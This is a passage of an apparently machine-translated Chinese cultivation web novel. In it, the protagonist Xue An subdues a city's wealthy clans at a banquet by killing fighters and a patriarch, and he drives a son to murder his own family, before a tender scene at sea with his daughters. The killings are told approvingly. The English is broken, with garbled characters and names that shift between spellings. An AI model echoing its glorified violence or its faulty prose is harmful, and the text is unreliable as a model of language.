    She once complained, thinking that her sister married Xue An, it was a mistake.


    But she didn''t understand until today.


    Those wealthy powers or wealth that they rely on are basically a joke in front of Xue An.


    Sister, brother-in-law...Finally, you have the strength to make you come back proudly! An Qing thought silently in her heart.


    At this moment, Qin Yu looked at Xue An excitedly.


    When the Xie family is destroyed, the entire provincial capital becomes a vacuum zone.


    This is billions of wealth!


    But she knew very well that Xue An killed all this.


    The Qin family did not exert much effort in this matter.


    That''s why she wanted to talk and stopped.


    Xue An certainly knows what Qin Yu thinks He is not interested in these worldly wealth.


    But it''s a big province, someone has to manage it.


    Therefore, he smiled slightly, "The Xie family is gone, and the rest is left to the Qin family!"


    Qin Yu was shocked.


    This is a lot of wealth!


    But Xue An gave it to himself without caring.


    Qin Yu was stunned for a moment, then stood up solemnly, gave a deep respect, and said respectfully: "These are all from Mr. Xue. Even if our Qin family takes over, it will be temporarily managed by Mr. Xue. Mr. Xue wants it in the future. You can take it back anytime!"


    Xue An laughed, waved his hand, and then yawned, "Going back to bed, I have to make breakfast for Missing and Niannian tomorrow!"


    Then he turned and went back to the house.


    Qin Yu called grandpa''s phone excitedly.


    At this moment, Qin Yuan has been guarding the office, waiting for news from his granddaughter.


    When the phone rang, he immediately connected.


    "how about it?"


    Qin Yu paused, then trembled: "Mr. Xue went out for more than an hour, and then the Xie family was completely destroyed!"


    Qin Yuan couldn''t help taking a breath.


    Although he has improved Xue An''s strength as much as possible, he still feels that Xue An alone can destroy the Xie family?


    But what I did not expect is that Xue An actually did it!


    Qin Yu told Qin Yuan what she had said to Xue An at this time, and then asked: "Grandpa, am I right?"


    Qin Yuan stood up and said with some relief: "Yu''er, you have grown up, and you have done a great job in this matter. For the dragon among people like Mr. Xue, we cannot measure it by secular interests, just like What you said, we are only temporarily keeping it for Mr. Xue! If he wants it in the future, we will give it away."

 Chapter 104： Only after seeing the blood, they will give in.

    The news came when Xie��s house was destroyed.


    The giants of the entire provincial capital were all shocked.


    Shi Hao was lying on the bed to recuperate, Shi Zhuli walked in palely.


    "Brother..."


    Shi Hao waved his hand, "Needless to say, I know it!"


    Shizhuli sat aside desperately.


    Shi Hao told her yesterday that the Xie family can''t make it tonight.


    She is actually a little unbelieving.


    You must know that the Xie family has been operating in the provincial capital for decades, and its power is in full swing.


    No matter how good Xue An is, it is impossible for one person to destroy a wealthy family.


    But when the news came this morning, Shi Zhuli finally felt a deep panic.


    The man with a long body of jade and his indifferent expression made the Xie family history when he actually flipped his hands.


    How can these methods not be shocking.


    Shi Hao was not too surprised.


    "Father, what did they say?" Shi Hao asked.


    Shi Zhuli shook her head, "Father and uncle discussed it all morning and decided to watch the changes first."


    "Confused!" Shi Hao''s expression changed suddenly.


    "Now that the Xie family is overthrown, it is a fact that the Qin family has become the master, so what are the changes?"


    Shi Hao was full of anger at this moment.


    My fathers are sometimes too short-sighted.


    Do they think they are facing an ordinary mortal?


    Shi Hao knew very well that when his cultivation level reached Xue An''s realm, his worldly power and fame were nothing but a passing fame.


    So the most important thing at the moment is to express your attitude quickly.


    Shi Hao stood up hard.


    "Brother, what are you doing?" Shi Zhuli hurried over to help.


    "go."


    "Where to go?" Shi Zhuli asked in confusion.


    "Of course I am going to the hotel, I want to face Mr. Xue and congratulate the Qin family!" Shi Hao gritted his teeth and said.


    "But..." Shi Zhuli still hesitated.


    Shi Hao shook his head, "Needless to say, it''s about the future life and death of the Shi family. Don''t delay! Go away."


    At this moment, there is still a similar debate going on.


    Fengjia, the provincial capital.


    Once second only to the rich family of the Xie family, the strength is still higher than that of the Shi family.


    Today��s atmosphere is a bit solemn, because the destruction of the Xie family has made all the Feng family feel a strong sense of crisis.


    Feng Qi sat in the main seat and looked at the children of the Feng family on both sides. She couldn''t help but said in a deep voice, "What do you think about this matter?"


    Everyone looked at each other, no one spoke.


    At this moment, a man sitting at the bottom stood up and said, "Father, I think the most important thing now is to express our sincerity to Mr. Xue!"


    After seeing the speaker, everyone was taken aback.


    It was Feng Chaocai, the most inconspicuous young master of the Feng family.


    You have to know that Feng Chaochou had a low status in the family before. Although he was the eldest son, he was not pleased by his father Feng Qi.


    Especially some time ago, he led people to Beijiang, only to return back with a loss.


    This naturally caused him to drop a lot in his family status.


    Feng Qi frowned after hearing this, "Express sincerity? What sincerity is expressed?"


    "Naturally, it expresses our sincerity to surrender!" Feng Chaocao said firmly.


    Actually, Feng Chaocao almost peeed his pants when he heard the news in the morning.


    When he started, he didn''t know that Xue An did it. He thought it was the Xie family who provoked some enemies.


    But when he understood, especially when he saw Xue An''s photo, he fell into a deep panic.


    As a witness, he witnessed the miracle of Xue An surrendering the dragon.


    Mr. Zuo Yuqi said clearly.


    This man cannot be offended.


    Now he hit the provincial capital, and Xie��s family disappeared as soon as he shot.


    How could Feng Chaochou not be afraid.


    That''s why he plucked up the courage to present his views at today''s meeting.


    Just as his voice just fell, someone sneered.


    "It seems that my eldest brother has gone out, and he has been scared and scared!"


    The speaker has a delicate face, but his eyes are full of dark birds.


    Feng Qi''s face eased a lot when she saw him.


    This is the second youngest of the Feng family and the most favored youngest son, Feng Chaosi.


    Feng Chaocai looked a little ugly, and couldn''t help but said in a deep voice, "What do you mean by this?"


    Feng Chaosi stood up and sneered: "It''s meaningless, but I think you are too timid."


    Feng Chaocao just wanted to talk.


    Feng Qi waved her hand, then looked at her little son dozingly, "Chaosi, what do you think?"


    Feng Chaosi smiled proudly, "I think this Qin family is big, but the strong dragon does not crush the snake, I don''t believe that they can really swallow the entire provincial city!"


    Feng Qi''s expression eased a lot as soon as he said this.


    This is also his opinion.


    Feng Chaosi continued: "And I remain skeptical about this matter. You must know that no matter how powerful a person is, it is impossible to destroy a wealthy family overnight, so there must be a force behind it."


    Everyone nodded.


    Only Feng Chaocao sneered.


    "What are you laughing at?" Feng Chaosi said disdainfully.


    Feng Chaosi has never looked down upon his elder brother.


    "It''s nothing, just laugh at some people who sit in the well and watch the sky with short-sightedness." Feng Chaocao said coldly.


    Feng Chaosi''s face gradually became cold.


    Feng Qi said impatiently at this time: "Don''t talk, listen to your brother."


    Feng Chaosi couldn��t help but said triumphantly: ��So I think we should keep silent first, and then find an opportunity to put pressure on the Qin family. Last time, this huge provincial city has to give us half of the Feng family.��


    Feng Qi nodded repeatedly when she heard the words, and other Feng''s parents also praised her.


    Only Feng Chaocao quietly stepped aside watching all this with cold eyes.


    He understood that the arrogance of a wealthy family cannot be changed easily.


    Only after seeing the blood, they will give in.


    When Shi Hao saw Xue An and Qin Yu, he bowed respectfully, "I have seen Mr. Xue, Miss Qin!"


    Xue An glanced at him with a smile, "What are you doing?"


    Sweat stains loomed on Shi Hao''s forehead.


    Although Xue An just stood there quietly, the pressure on people was extremely terrifying.


    "I''m here to represent the Shi family and express surrender to Mr. Xue and the Qin family!"


    "Oh? Surrender?" Xue An smiled faintly.


    "Yes, unconditional surrender!" Shi Hao said with firm eyes.


    Xue An nodded, "You are a smart man!"


    Shi Hao smiled bitterly, in the face of absolute strength, any conspiracy and tricks were useless.


    Only by seeing the facts can you live longer.


    "Today, you are the first to come!" Xue An said lightly.


    Shi Hao did not dare to look up, lowered his head to listen.


    "It''s also the only one!"


    Xue settled down, and then said: "It seems that the other giants seem to have their own ideas."


    Shi Hao burst into cold sweat all over his body.


    is half surprised by Xue An''s momentum, half is rejoicing.


    If I don''t come by myself today, then what the future of the Shi family will be is hard to imagine.


    Xue An looked at Qin Yu and said with a faint smile: "Notify all parties and say that tonight, Livzon Hotel and Qin''s family will hold a banquet."


    "Yes!" Qin Yu replied, bowing his head.


    Xue An looked at the bustling city outside the window, a faint smile appeared on the corner of his mouth.


    ''S eyes are full of murderous aura.

 Chapter 105： Rich family gather

    The news that the Qin family is about to hold a dinner party once again caused a sensation in the entire provincial capital.


    After the Feng family received the invitation, they held another emergency meeting.


    At the meeting, Feng Chaosi smiled triumphantly: "I see, the Qin family also knows that they can''t eat such a big piece of cake on their own, so they called us local giants to go."


    "Therefore, I propose that this time our Feng family should show their own strength, so that this Qin family and the surname Xue will know how good we are." Feng Chaosi said.


    Everyone nodded, Feng Qi was very pregnant, and felt that her little son was really promising.


    Only Feng Chaocao kept his eyes gloomy and said nothing.


    He believes that this banquet will never be that simple.


    How could that man be threatened by you guys?


    Similar controversies are being staged in almost every giant.


    this moment.


    The atmosphere in the Stone House is very tense.


    Shi Hao''s father, Shi Dong, the current head of the Shi family, sat in a chair with a gloomy expression.


    There are also a few powerful figures in the Shi family who also look bad.


    Shi Hao stood blankly below, like a prisoner being interrogated.


    "Shi Hao, who allowed you to communicate on behalf of the Shi family and the Qin family in private?" At this time, one of Shi Hao''s uncles took the lead.


    Shi Hao said tiredly, "No one allowed it."


    "Hmph, so brave! Do you know what the crime is?" Shi Hao''s uncle sneered.


    Shi Hao shook his head, "I know, but I have to do it. Because it''s about the life and death of our Shi family."


    "Don''t quibble here, I don''t believe this Qin family and that Mr. Xue can eat people, it''s all alarmist!" Shi Hao''s uncle was full of anger.


    Yes!


    I don''t know how many people are salivating over the big cake left by the Xie family.


    It''s not bad now, Shi Jiajuan took the lead to quit.


    This naturally makes many people dissatisfied.


    Shi Hao''s expression also sank at this time, "Second Uncle, whether you believe it or not, I can only say that this Mr. Xue is so powerful you can''t even imagine!"


    Shi Hao''s second uncle sneered and said, "No matter how great, can you still have three heads and six arms? You are less here..."


    At this time, Shi Dong waved his hand, "Okay! Stop talking!"


    The second uncle of Shi Hao retreated angrily.


    Then Shi Dong looked at Shi Hao and said, "Since you are so sure, well, for tonight''s banquet, our Shi family will stay neutral for the first time. We have to see what kind of character this Mr. Xue is!"


    Shi Hao lowered his head, "Thank you father!"


    "But if it''s not like you said..."


    "I would like to be punished!" Shi Hao said firmly with his eyes.


    Since the evening, the luxury car in front of the Livzon Hotel has not been cut off.


    Almost all the giants in the provincial capital have arrived.


    There are a lot of big, young, or daughters who come to join in the fun.


    These well-dressed young people gathered together in twos and threes and talked happily.


    For them, this is a rare gathering.


    As for the disappearance of the Xie family.


    They don''t care.


    It��s the same if anyone dies. As long as the benefit belongs to me, then I can say anything.


    And these rich family owners gathered together in twos and threes to discuss the banquet tonight.


    "Everyone said, the Qin family invited us all here, why?" said a gray-haired, well-dressed old man.


    "Master Wang, I guess this Qin family is going to win over us. After all, they are outsiders. If you don''t rely on us, he doesn''t want to stay in the provincial capital." A middle-aged man said.


    Everyone nodded.


    "It''s really unexpected to say that the Xie family''s decades of foundation business disappeared overnight." The old man sighed falsely.


    But when it comes to the property left by the Xie family, many people''s eyes are red.


    That''s all profit.


    At this moment, there was a commotion outside, and someone exclaimed.


    "It''s the Feng family, why are they here with so many people?"


    There are dozens of people in the Feng family.


    Furthermore, the Patriarch of the Feng family and many powerful figures were all present.


    I can see that the level difference is coming.


    Many small families rushed out of the way.


    Feng Qi took the lead.


    followed by Feng Chaosi with a proud face.


    There are also many big men invited by the Feng family.


    Only Feng Chaocao followed at the end.


    Now he has become a joke in the family.


    No one would like to look at him more.


    After Feng Qi and others are seated.


    The atmosphere in the hall became warm.


    Many people began to whisper.


    "The Feng family is in such a big battle, it looks like the person who came is not good!"


    "A fool can guess that this Feng family is second only to the Xie family. This time the Xie family has fallen, how could their Feng family be willing to let go of this rare opportunity?"


    "This time the fun is great. No matter how great the Qin family is, it is nothing more than a dragon. It looks like he must have been bleeding this time!"


    In these discussions, Feng Qi looked around the people in the hall with an unmoving expression.


    what!


    Why haven''t the people from the Shi family arrived yet?


    While he was wondering, Shi Dong also rushed with everyone.


    Compared with the fanfare of the Feng family, the Shi family is much lower-key.


    Feng and Shi have never dealt with each other, so the people on both sides also glared at this meeting.


    Shidong was expressionless and took someone to sit down in the distance.


    At this point, almost all the rich and powerful in the entire provincial capital have arrived. UU Reading www.uuk��nshu.com


    Everyone is waiting.


    Waiting to see how the Qin family will deal with this situation.


    At this time, Qin Yu looked upstairs nervously.


    This is the first time she has taken the lead alone.


    She called Qin Yuan, but Qin Yuan said that she was solely responsible for this matter.


    This made Qin Yu feel the pressure on his shoulders.


    Xue An suddenly smiled at this moment.


    "Mr. Xue, what are you laughing at?" Qin Yu asked.


    "You said, if these people are killed now, what will happen to the provincial capital?" Xue An said lightly.


    This proposal made Qin Yu''s heart cold.


    If so many people really died here.


    So it is certain that the entire provincial capital will become a mess.


    Xue An couldn''t help but smile when he saw Qin Yu''s shocked expression, "Just kidding, I''m not a murderer."


    But Qin Yu still felt a little frightened.


    She knew that in the eyes of Xue An, these so-called rich and powerful people were not much better than pigs and dogs.


    "Go, next... it''s time for you to play!" Xue An said lightly.


    Qin Yu gritted his teeth and recovered calm, then turned and went downstairs.


    When she appeared in the hall, the noisy hall gradually became quiet.


    Many people stared at Qin Yu with scrutiny.


    Gradually, these eyes became contemptuous.


    It turned out that the Qin family, who had made such a big noise, only sent such a little girl?


    And Feng Chaosi sneered disdainfully at this time, and then stared at Qin Yu with greedy eyes.


    looks pretty good!


    After discussing things this time, I have to find an opportunity to contact me.


    Feng Chaosi thought to himself.

 Chapter 106： Step by step lotus

    At this moment, Qin Yu quickly recovered his calm, walked slowly to the main position, and smiled at the people below.


    "Presumably everyone doesn''t recognize me. My name is Qin Yu. I come from the Qin family in Beijiang. I invite you to come this time. There are only two things. First, get acquainted. The second is to tell everyone that the site of the Xie family will belong to us in the future. Home!"


    These domineering words caused everyone in the hall to be stunned for a moment, and then moved into a sensation.


    "Miss Qin, did your Beijiang Qin family stretch their hands too far?" Someone sneered.


    "That''s right, you Beijiang and our provincial capital have always kept the well water from the river. This time you suddenly launched a disaster and destroyed the Xie family. What do you mean by the Qin family?"


    These comments almost drowned Qin Yu.


    A trace of panic flashed in Qin Yu''s eyes, but still gritted his teeth and said, "We belong to China, why do we stretch our hands too far?"


    "No, it''s not that simple!"


    The people below began to make noise.


    Feng''s people have been silent, because they are waiting for Shi''s response.


    I didn''t expect that Shi Dong was actually drinking tea with the old god, and he was not moved at all.


    Feng Qi frowned, what kind of abacus did Shi Dong play?


    Feng Chaosi couldn''t hold back at this time.


    He stood up with a hippy smile, "Miss Qin, I think, what a beautiful girl like you should do is eat and drink with me, and then find a hotel to stay overnight. Instead of mixing things up."


    As soon as he said this, many people in the hall made a laugh.


    Qin Yu''s complexion gradually sank.


    "Please be respectful!"


    Feng Chaosi chuckled, and then slowly fiddled with the bracelet in his hand, "It''s okay to let our Feng family respect you, and Xie family''s property...our Feng family must be divided into half!"


    This proposal makes it difficult for many people to look.


    Everyone is thinking about this big cake left by Xie''s family.


    Now the Feng family proposes to cut in half first, and accordingly, the others can get less.


    Qin Yu laughed angrily, "What? Can your Feng family be so domineering?"


    "It��s not that I��m overbearing, it��s not that you��re in charge, but your Qin family killed the Xie family as soon as you took action, and then you entered the provincial capital so powerfully. Haven��t you heard of it, Qianglong Don''t you suppress the snake?" Feng Chaosi said coldly.


    Following his voice, dozens of people stood up one after another, only Feng Qi and Feng Chaocao at the end remained sitting still.


    the momentum is tight.


    At this moment, Shi''s side is also a little uncontrollable.


    Shi Hao��s second uncle leaned into Shi Dong��s ear and said, ��Brother, look like this, this little girl from the Qin family is a young girl, and is pressed by the Feng family step by step. If we don��t make a statement now, then we can really take it. No benefit!"


    Hesitation appeared on Shidong''s face.


    Just then, a calm voice came from the stairs.


    "Yes, it''s a strong dragon that doesn''t crush the snake, but it depends on which dragon and snake!"


    Everyone turned their eyes.


    I saw a man dressed in ordinary clothes, but with a handsome appearance and a smile on his mouth, slowly walking down the stairs.


    And his appearance also let the eldest Qin family breathe a sigh of relief, hurriedly greeted her, bowed her head and shouted respectfully.


    "Mr. Xue!"


    Mr. Xue!


    Is he Mr. Xue?


    Everyone was shocked.


    There have been rumors that this Mr. Xue has magical powers.


    The destruction of the Xie family was also caused by him.


    But now it seems that there is nothing surprising.


    Many people feel a little disapproving, thinking it is just an exaggeration of rumors.


    But Feng Chaocao and Shi Hao both shook together, with extremely frightened light in their eyes.


    Only the two of them know Xue An��s horror.


    Feng Chaosi sneered slightly at this moment.


    "Then what dragon or snake?"


    Xue An looked calm, "If the Nine Heavens Dragon faces a grass snake on the ground, who do you think wins?"


    Feng Chaosi''s complexion became extremely ugly, "You said our Feng family is a grass snake?"


    Xue An shook his head, "Not that way!"


    Feng Chaosi''s expression was relieved.


    But at this time, Xue An said faintly: "To me, your Feng family is not even a grass snake, at most... it can only be regarded as a loach!"


    When ���� came out, everyone was shocked.


    Many people think that Mr. Xue must be crazy.


    Shidong also frowned slightly at this time.


    He thought that Mr. Xue was an old man with a fairy style, but he did not expect to be a young man.


    And judging from the way he talks now, he is still a young man who doesn''t know how to judge the situation.


    What is there to fear for such a person?


    Shi Dong faintly felt regretful.


    At this time, Feng Chaosi sneered.


    "Very well, this is your own death, you can''t blame others!"


    Then the masters brought by the Feng family left the table one after another, encircling Xue An.


    Xue An showed some good-looking teeth at this time, and smiled at Feng Chaosi.


    "This sentence actually suits you better."


    Feng Chaosi gave a cold voice. "Do it!"


    These people rushed up together.


    These people are all the hard work of the Feng family over the years, and many of them are masters hired by the Feng family for a big price.


    These people work together, and the momentum is extremely shocking.


    Many people can''t help but change their colors.


    Feng Chaosi showed a smug smile even more.


    But soon, his smile froze.


    Because Xue An is walking forward slowly like a stroll in a leisurely courtyard.


    Every time he takes a step, the master standing in front of him will fall silently, and then turn to ashes.


    is like growing lotus every step of the way!


    But it is a blood lotus condensed with blood!


    This weird scene shocked everyone in the hall.


    Shi Dong, who was originally regretting secretly, was even more distracted at this moment.


    What kind of trick is this?


    At this moment, Xue An has already approached the Feng family.


    He took a total of seven steps,


    In seven steps, all the masters who besieged him fell dead, with no life left.


    At this time, Xue An stood in front of Feng Chaosi and smiled faintly.


    "Now... can you be convinced?"


    Feng Chaosi felt a cold breath coming out of his bones.


    None of the originally conceived scenes appeared.


    Feng Chaosi thought that even if these masters could not defeat Xue An, they could still cause him serious injury, and then defeat him again, then the Xie family��s big cake might be the Feng family exclusive!


    But in any case, he did not expect this man to wipe out all these masters without even moving his fingers.


    Feng Chaosi had a stone in his mouth. I don''t know what to say.


    Feng Qi stood up at this time, her expression changed from arrogant to respectful.


    "Mr. Xue, the child is young, don''t be familiar with him..."


    Xue An raised his hand directly without raising his head.


    Snapped!


    After ���� a slap in the face, Feng Qi''s head was blown.


    The brain was mixed with blood, and the dead body fell to the ground with a plop.


    "Did I let you talk?" Xue An said lightly.


    Many people were so startled by this scene that their eyes were almost staring out.


    The dignified Patriarch Feng was slapped to death because he spoke louder?


    This man... so cruel!

 Chapter 107： I would like to honor Mr. Xue!

    The whole audience was silent.


    Feng Chaosi''s eyelids throbbed wildly, and his whole body was shaking.


    "you you����."


    He has no idea what to say.


    Extreme fear occupied his heart.


    At this moment, Shi Dong suddenly stood up, his eyes full of shock and happiness.


    Fortunately...


    I followed his son Shi Hao''s suggestion, otherwise the person lying on the ground is probably myself.


    "The Shijia is willing to do his best for Mr. Xue!"


    Speaking, Shidong bowed down respectfully.


    With him respectfully bends over and bows, and everyone from the Shi family.


    Including Shi Hao''s second uncle.


    Only at this moment, the second uncle of Shi Hao bent over, trembling all over, there was a wet mark under his hip, exuding a strong smell of urine.


    was actually scared to pee.


    Xue An glanced at Shi Dong with indifferent eyes.


    Shidong felt that the man''s eyes were like sharp blades, he had cut himself into pieces directly, his forehead and back could not help being soaked in cold sweat.


    At the same time, Feng Chaosi also woke up like a dream, and gave a strong laugh.


    "Mr. Xue, I... our Feng family... I would like to help you in the future."


    Xue An shook his head, "Shijia can do it, you can''t!"


    As soon as ���� came out, everyone couldn''t help but change their expressions.


    What does it mean?


    "Don''t you dare to destroy our Feng family in front of everyone?"


    There is a high-ranking old man in the Feng family, who can''t help but exclaim at this moment.


    Xue An glanced at him, the old man wanted to say something, but in the next second, his head exploded like fireworks.


    Blood splashed all around, but no one dared to make any movements.


    "From the time you coveted the property left by the Xie family, the fate of your Feng family has been doomed!" Xue An said lightly.


    Everyone in the Feng family shivered.


    Feng Chaosi stood up abruptly at this moment, pointed at Feng Chaocao in the back row and said, "I blame you, if you didn''t propose to deal with Mr. Xue, how could we do this?"


    Feng Chaosi''s face is full of resentment.


    He wanted to put all the responsibility on Feng Chaocao so that he could survive.


    But at this moment, Feng Chaocao sighed, then got up and came to Xue An, thumped and knelt on the ground.


    "I have seen...Mr. Xue!"


    Xue An looked at Feng Chaochou who was desperate, and smiled faintly, "Meet again?"


    Feng Chaosi was stunned.


    What does Xue An��s words mean?


    Could it be that he knows his trash brother?


    Feng Chaocao smiled bitterly. "Mr. Xue, Feng Jiarui is too arrogant, I have nothing to say, do it!"


    Feng Chaosi trembled, and then angrily said: "Feng Chaocai, what do you mean?"


    Xue An frowned, "Kneel down!"


    Feng Chaosi felt a violent attack, and with a plop, he knelt on the ground, his kneecaps all shattered.


    Feng Chaosi groaned in pain.


    Xue An looked at Feng Chaocao at this time and said, "You are quite witty."


    Feng Chaocao is not so scared now.


    Because he knows that the Feng family... is over!


    Feng Chaosi did not forget to pour dirty water on his elder brother at this time, "Mr. Xue, it was all because of his proposal..."


    Xue An ignored him, just looked at Feng Chaocai with a smile, "Do you want to take over the Feng family?"


    Feng Chaocao was stunned.


    Feng Chaosi was also stunned.


    Everyone was stunned.


    Ѧ��What does this mean?


    Only Shi Dong sighed in his heart at this moment.


    He understands Xue An''s intentions.


    The provincial capital is so big, no matter how strong the Qin family is, it is impossible to take over all of them.


    There will definitely be other giants.


    And if the Feng family falls, then the entire provincial capital can be said to be the only one with the exception of the Qin family.


    And now Xue An obviously meant to leave the Feng family behind.


    is to check and balance one''s own stone family in the future.


    Thinking of this, Shi Dong''s fear of Xue An can''t help but deepen.


    This person''s cultivation is unpredictable and he has such great wisdom.


    What is his origin?


    Feng Chaosi is now full of dementia.


    He still doesn''t understand what Xue An means.


    and Feng Chaocao trembled excitedly: "Mr. Xue..."


    Xue An smiled, "If you are willing, then show your sincerity!"


    Feng Chaocao immediately stood up, picked up a fruit knife from the table, and walked towards his brother without hesitation.


    Feng Chaosi couldn''t move, and could only watch his elder brother, whom he had always looked down upon, approaching him.


    He was so scared that his voice changed, "Big brother...Big brother, I was wrong, no! I will never..."


    Feng Chaocao didn''t stop at all, but directly stabbed him.


    ��!


    The knife is being inserted into Feng Chaosi''s chest.


    "It''s against...you...!" Feng Chaosi spit out the last few words, fell to the ground unwillingly, and died absolutely.


    This hand shocked everyone.


    Many people look at Xue An��s eyes at this moment, and they are simply scared of ghosts.


    This man''s ability to figure out the heart is so terrible.


    A few words, let the rich brothers kill each other.


    At this moment, Feng Chaocao''s eyes are red.


    Over the years, he has been unhappy in Feng''s family.


    It can be said that no one looked at him.


    But now, he has made the right move.


    That is to understand the truth that Xue An cannot be confronted.


    So he won.


    The remaining Feng parents, he never let go.


    All were killed one by one.


    In the end, his whole body was soaked in blood, and he looked crazy.


    Xue looked quietly.


    Until Feng Chaocai finished killing, he said indifferently: "From now on, the Feng family belongs to you!"


    Feng Chaocao''s knife slammed to the ground, and then started crying.


    Everyone quietly moved away from him.


    Self-destroyed!


    How fierce this is!


    Xue An also appreciates this Feng Chaocai somewhat.


    Because he knew that it was Feng Chaocai who swore his loyalty to himAfter he killed himself and his family, no one dared to allow him anymore.


    He can only follow Xue An and the Qin family.


    As for people like the Feng family...


    Xue An doesn''t care.


    Because no one is innocent!


    There is also the Shijia...


    Xue An glanced around.


    At this time, Shi Dong''s head could not be pierced into the ground. He thought he had seen the world.


    can be when facing Xue An.


    Only then did he understand what a real big man is.


    In one word, life will die.


    This... is the big shot!


    Xue An walked to him, Shi Dong''s legs trembled straight.


    After a while, Xue Ancai said lightly: "You...have a good son!"


    said, Xue An turned and left.


    Shi Dong felt relieved, and felt that his body was soaked in cold sweat.


    This man... Don''t provoke yourself in the future!


    Shi Dong secretly sworn himself.


    Xue An walked onto the stage, looking calmly around everyone in the field of view.


    "Now... who else is not convinced?"


    No one dared to speak.


    No one even dared to look up at Xue An.


    In the beginning, those who clamored to carve up the benefits all died down.


    Xue An nodded.


    "Well, the future provincial capital will be led by the Qin family!"


    Qin Yu was in the audience at this time, and the first one bowed his head respectfully and said: "The Qin family...may honor Mr. Xue!"


    seems to be the same, Shijia, Feng Chaocao and others can''t help bending over.


    "May I honor Mr. Xue!"


    In the end, almost all the giants shouted in unison.


    "May I honor Mr. Xue!"

 Chapter 108： Fairy tale scene

    The sea breeze in early summer is soft as a lover''s touch.


    A yacht is floating above the sea, sailing slowly.


    On the deck, there were bursts of laughter.


    "Dad, look, I caught a small fish again!" Xue Xiang was very excited to pull up the fishing line and proudly said to Xue An.


    Xue An looked at Xue Xiang, who was proud of his face, couldn''t help but smiled, and then touched Xue Xiang''s little head, "Thinking is great!"


    At this time, Xue Nian, who was sitting aside and also fishing, had a small face wrinkled into a bun.


    "Why can my sister always catch fish, but I can''t?" Xue Nian said glumly.


    "That''s because you are stupid!" Xue Xiang said unceremoniously.


    Tears gradually appeared in Xue Nian''s big eyes.


    Xue An couldn''t laugh or cry.


    My two daughters are quite different in personalities.


    For example, Xue thinks, he is very smart. Although he is only four years old, he is like a little adult and often "teaches" Xue Nian.


    Xue Nian is sometimes naive. Apart from seeing delicious food, he is usually not very talkative.


    Now being reprimanded as a idiot by his sister, Xue Nian is naturally wronged.


    Xue An felt distressed and quickly touched Xue Nian''s head.


    "Okay, well, we are not stupid when we think, we are the smartest!"


    Xue Nian said very aggrieved: "Dad, then I''m not stupid, why can''t I catch fish?"


    Xue An smiled, "Maybe Yuer hasn��t noticed that Nian-nian is also fishing!"


    Xue Nian nodded suspiciously.


    And Xue An did not move a trace of spiritual thought into the sea.......


    After a few seconds.


    The fishing rod in Xue Nian''s hand sank.


    "Huh!" Xue Nian was taken aback first, then excited.


    "Dad, daddy, did I catch a fish?"


    Xue An pretended that nothing happened, and went over excitedly, and helped Xue Nian lift the fishing rod.


    "Oh, Nian Nian is so powerful, I actually caught such a big fish!" Xue An exaggeratedly shouted.


    Xue Nian''s eyes all smiled into crescent shapes.


    Xue Xiang looked at his father suspiciously.


    This little girl is clever and tight. She always thinks Xue An''s actions just now are suspicious.


    Under the gaze of his daughter''s scrutiny, Xue An coughed unnaturally.


    "Ahem! It''s the same when you think about it!"


    Only when facing his two daughters, Xue An didn''t have the slightest impression of Xianzun.


    no way!


    Who allowed himself to have two daughters who are so strange and cute?


    At this time, a round of red was gradually sinking to the west, and the entire sea was illuminated with golden light, and the scenery was beautiful.


    "Dad, look, it''s so beautiful!" Xue Xiang and Xue Nian exclaimed.


    At this time, Fan Mengxue and Tang Xuan''er walked onto the deck and looked at the father and daughter, and couldn''t help but laugh.


    "The wind is so strong outside, come back soon!" Tang Xuan''er worried about the two little girls.


    In fact, after Xue An��s daily meticulous nourishment with various elixir, the physique of these two little girls is already pure and flawless.


    It is impossible to get sick at all.


    At this moment, I saw a dolphin suddenly jumped high above the sea in the distance, after drawing a beautiful arc in the air, it fell back into the sea.


    "Wow! It''s a white dolphin! So beautiful!" Xue Xiang and Xue Nian, the two little girls, had wide-eyed eyes and exclaimed.


    "Do you like it?" Xue An lowered his head and asked his two daughters.


    "I like it! And this is the first time I have seen a real dolphin!" Xue Xiang said.


    "Hmm, I just don''t know if it''s delicious or not!" Xue Nian began to struggle with the taste.


    Xue An smiled indifferently, "Then close your eyes, Dad will give you a surprise!"


    The two little girls immediately closed their eyes.


    Xue An stood on the bow and stomped the deck lightly.


    The surface of the sea within a radius of ten miles seemed to shake slightly.


    Then Xue An smiled lightly: "Okay, open your eyes!"


    The two little girls slowly opened their eyes.


    presented in front of them is a dreamlike picture.


    I saw it not far away. Several dolphins jumped out of the sea one after another, as if performing acrobatics. After a few laps in the air, they fell into the sea with a splash.


    The splashing waves wet the cheeks of the two little girls.


    And this is just the beginning.


    In the blink of an eye, dozens of dolphins jumped out of the water again.


    They draw a beautiful arc in the air, and then fall back to the surface.


    The two little girls were dumbfounded.


    At this moment, these dolphins all surfaced and swam to the yacht. The leader was an extremely beautiful white dolphin, who seemed to nod to Xue Xiang and Xue Nian.


    "Dad, what does it...what does it do?" Xue Xiang asked.


    Xue An smiled, "It is for you to touch it!"


    Xue thought hesitated, but in the end he had the courage to reach out and touch the white dolphin''s nose.


    Xue Nian couldn''t help reaching out and touching the white dolphin''s mouth.


    The white dolphins blinked at them very cutely, seeming to enjoy the caress of the two little girls, and made baby-like crying.


    This scene is like a scene in a fairy tale world, which makes Tang Xuan''er and Fan Mengxue a little silly.


    After a while, this white dolphin led many dolphins to jump out of the water again.


    Only this time, they jumped over the yacht.


    Under the shining of the setting sun, these dolphins seemed to prop up a series of dragon gates on the sea, and the yacht slowly passed by The two little girls jumped and jumped excitedly, very happy.


    Xue An stood by and watched, a smile appeared at the corner of his mouth.


    The heart drifted far away.


    Wife, our daughter has grown so big, and is getting cuter and more beautiful!


    You must be lonely by yourself.


    You wait, I will definitely find you back!


    Even if you are poor for nine days, go to the Yellow Spring!


    I will never give up!


    at dusk.


    Xue Xiang and Xue Nian stood on the bow, reluctantly waving their hands at the dorsal fins of these white dolphins.


    "Goodbye! White dolphin!"


    "Goodbye!"


    Xue An stood aside, feeling the gratitude that these dolphins passed back through their spiritual thoughts.


    He just came here by instructing all the dolphins nearby through divine mind.


    The leading dolphin has gradually become wise.


    Xue An told the dolphin that he wanted it to lead the dolphins and perform for his two daughters.


    The white dolphins did not dare to disobey, because although Xue An did not force him, the aura on his body was as unfathomable as the ocean.


    But Xue An will not embarrass these elves in the sea.


    When they were leaving, Xue An gave these dolphins some benefits.


    Although it is not very precious, it is already precious to these dolphins.


    This time Xue An took his daughter out to sea because the Xie family established a resort on an island.


    The investment is very large and it has been completely completed.


    Therefore, the Qin family was considered a big bargain. After taking over, they packed up and prepared to officially open.


    Xue An took his two daughters, ready to go see the excitement together.

 Chapter 109： Hello, do you know Mr. Xue?

